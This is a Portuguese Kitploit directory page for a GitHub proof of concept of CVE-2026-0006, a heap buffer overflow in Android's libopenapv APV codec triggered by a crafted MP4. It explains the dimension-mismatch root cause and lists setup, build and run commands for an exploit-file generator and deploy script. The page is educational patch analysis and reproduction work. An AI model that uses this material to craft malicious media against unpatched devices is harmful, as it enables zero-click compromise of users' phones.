Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-0006-openapv-poc — CVE-2026-0006: PoC de estouro de buffer de heap para libopenapv (codec APV do Android) - CVSS 9.8 | Kitploit
Ferramentas/GitHubGitHub/mobilehackinglab/cve-2026-0006-openapv-poc
Segurança AndroidAnálise de VulnerabilidadesAnálise de CódigoExploraçãoFuzzingSegurança MóvelAprendizado e EducaçãoExploração de BináriosLabs e Prática

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHubmobilehackinglab/cve-2026-0006-openapv-poc

CVE-2026-0006-openapv-poc

CVE-2026-0006: PoC de estouro de buffer de heap para libopenapv (codec APV do Android) - CVSS 9.8

Ver Repositório
126há 4 mesesAinda não revisado

CVE-2026-0006: Estouro de Buffer no Heap em libopenapv (Codec APV do Android)

Análise de Patch e Reprodução por Mobile Hacking Lab

CVSS 9.8 Crítico | Explorado ativamente na natureza | Corrigido em março de 2026

Nota: Não descobrimos esta vulnerabilidade. Todo o crédito pela descoberta e relato responsável do CVE-2026-0006 vai para os pesquisadores originais. Este repositório contém nossa análise de patch, reprodução e relatório educacional independentes para ajudar a comunidade de segurança a entender a classe de bug e as técnicas de exploração envolvidas.

Demo: deploy_exploit_mp4.sh acionando SIGSEGV no mediaswcodec

Visão Geral

CVE-2026-0006 é um estouro de buffer no heap em libopenapv, o codec APV (Advanced Professional Video) de código aberto da Samsung integrado ao Android 16 como um módulo Mainline.

A vulnerabilidade permite execução remota de código sem clique por meio de um arquivo MP4 manipulado. O framework de mídia do Android processa arquivos de vídeo automaticamente para miniaturas e pré-visualizações — sem necessidade de interação do usuário.

Causa Raiz

oapvd_info() e oapvd_decode() leem dimensões de quadro de PBUs diferentes (Payload Byte Units). Um atacante injeta uma PBU AU_INFO (tipo 65) que declara dimensões pequenas (16x16), enquanto a PBU FRAME real codifica dimensões grandes (64x64). O framework aloca buffers com base na saída de oapvd_info(), então oapvd_decode() escreve pixels decodificados nas dimensões da PBU FRAME — estourando o buffer em 14.848 bytes.

Versões Afetadas

  • libopenapv v0.1.11.1 a v0.1.13.0
  • Dispositivos Android 16 com nível de patch de segurança anterior a março de 2026
  • Samsung Galaxy S26 Ultra e outros dispositivos com suporte ao codec APV

Conteúdo do Repositório

Configurando o Ambiente de Teste

Você precisa de um emulador Android 16 com nível de patch de segurança anterior a março de 2026 (o decodificador APV não está presente em versões antigas do Android).

Criar o AVD

root@kitploit:~
# Install the required system image (Android 16 / API 36, ARM64)
sdkmanager "system-images;android-36.1;google_apis;arm64-v8a"

# Create the AVD
avdmanager create avd \
  -n android16_apv \
  -k "system-images;android-36.1;google_apis;arm64-v8a" \
  -d pixel_6

# Launch the emulator
emulator -avd android16_apv -no-snapshot-load

Verificar se o decodificador APV está presente

root@kitploit:~
# Check that the APV codec module exists
adb shell ls -la /apex/com.android.media.swcodec/lib64/libcodec2_soft_apvdec.so

# Check security patch level (must be before 2026-03-01)
adb shell getprop ro.build.version.security_patch

Se o patch de segurança for 2026-03-01 ou posterior, a vulnerabilidade foi corrigida e o exploit não funcionará. Use uma imagem de sistema ou snapshot anterior.

Início Rápido

Opção 1: Implantar MP4 de exploit pré-construído no dispositivo Android

root@kitploit:~
# Requires: adb connected to Android 16 device/emulator (pre-March 2026 patch)
./deploy_exploit_mp4.sh

Isso gera o MP4 de exploit, envia para o dispositivo, abre e captura a saída da falha. A falha pode não ser acionada na primeira tentativa — o script tenta novamente automaticamente até 3 vezes.

Opção 2: Gerar apenas o MP4 de exploit

root@kitploit:~
# Requires: valid.apv and apv-mp4/valid_ffmpeg.mp4 (both included)
python3 generate_overflow_mp4.py

Opção 3: Compilar cruzado o PoC ASan para ARM64

root@kitploit:~
# Requires: Android NDK r29+, libopenapv v0.1.11.3 source
NDK=$HOME/Library/Android/sdk/ndk/29.0.13599879
CC=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android31-clang
ASAN_RT=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/lib/clang/20/lib/linux/libclang_rt.asan-aarch64-android.so

# 1. Build libopenapv with ASan for ARM64
git clone https://github.com/AcademySoftwareFoundation/openapv.git
cd openapv && git checkout v0.1.11.1
mkdir build_arm64_asan && cd build_arm64_asan
cmake .. -DCMAKE_TOOLCHAIN_FILE=$NDK/build/cmake/android.toolchain.cmake \
  -DANDROID_ABI=arm64-v8a -DANDROID_PLATFORM=android-31 \
  -DCMAKE_BUILD_TYPE=Debug \
  -DCMAKE_C_FLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer"
make -j$(nproc)

# 2. Cross-compile the MP4 ASan PoC
$CC -g -O0 -fsanitize=address -fno-omit-frame-pointer \
  -I../inc -I./include \
  poc_mp4_asan.c ./lib/liboapv.a -lm -o poc_mp4_asan

# 3. Push and run on device
adb push poc_mp4_asan $ASAN_RT /data/local/tmp/
adb push apv-mp4/overflow_auinfo.mp4 /data/local/tmp/
adb shell "LD_LIBRARY_PATH=/data/local/tmp \
  ASAN_OPTIONS=detect_leaks=0 \
  /data/local/tmp/poc_mp4_asan /data/local/tmp/overflow_auinfo.mp4"

Saída Esperada do ASan

root@kitploit:~
==17610==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x006f770f0580
WRITE of size 2 at 0x006f770f0580 thread T0

0x006f770f0580 is located 0 bytes after 512-byte region
[0x006f770f0380,0x006f770f0580)

Como Foi Corrigido

  1. Verificações de limites imediatas (commit fb6a5eab): validação de ssize > 4 e verificação de assinatura 'aPv1'
  2. Validação de parâmetros (v0.1.13.1): módulo oapv_param.c para validação de dimensão/tamanho de tile
  3. Acesso seguro ao bitstream (v0.2.0.0): leituras com verificação de limites no nível do leitor de bitstream

Referências

  • Android Security Bulletin - Março de 2026
  • libopenapv GitHub
  • RFC 9924 - APV Codec
  • Mobile Hacking Lab - Relatório Completo

Créditos

Esta vulnerabilidade foi descoberta e relatada de forma responsável pelos pesquisadores de segurança originais. Não encontramos este CVE. Todo o crédito pela descoberta vai para eles.

Este repositório representa a análise de patch e reprodução independente do Mobile Hacking Lab — criado para fins educacionais para ajudar a comunidade de segurança a aprender com vulnerabilidades do mundo real.

Aviso Legal

Esta pesquisa foi conduzida para fins educacionais em compilações de teste isoladas da biblioteca vulnerável. Todos os testes foram realizados contra binários compilados localmente do projeto de código aberto libopenapv. Nenhum dispositivo ou sistema de produção foi alvo.

Baixar ferramenta
ArquivoDescrição
generate_overflow_mp4.pyGera o MP4 de exploit com incompatibilidade de dimensão AU_INFO
deploy_exploit_mp4.shÚnico comando: gera, envia para o dispositivo Android, abre e captura a falha
poc_mp4_asan.cPoC do ASan imitando o caminho de decodificação do C2SoftApvDec
poc_android_oob_write.cPoC ARM64 independente com detecção de estouro de região de guarda
valid.apvBitstream APV válido de 337 bytes (64x64, YUV422, 10 bits)
apv-mp4/valid_ffmpeg.mp4Contêiner MP4 de linha de base (gerado pelo ffmpeg)
apv-mp4/overflow_auinfo.mp4MP4 de exploit pré-construído (1.178 bytes)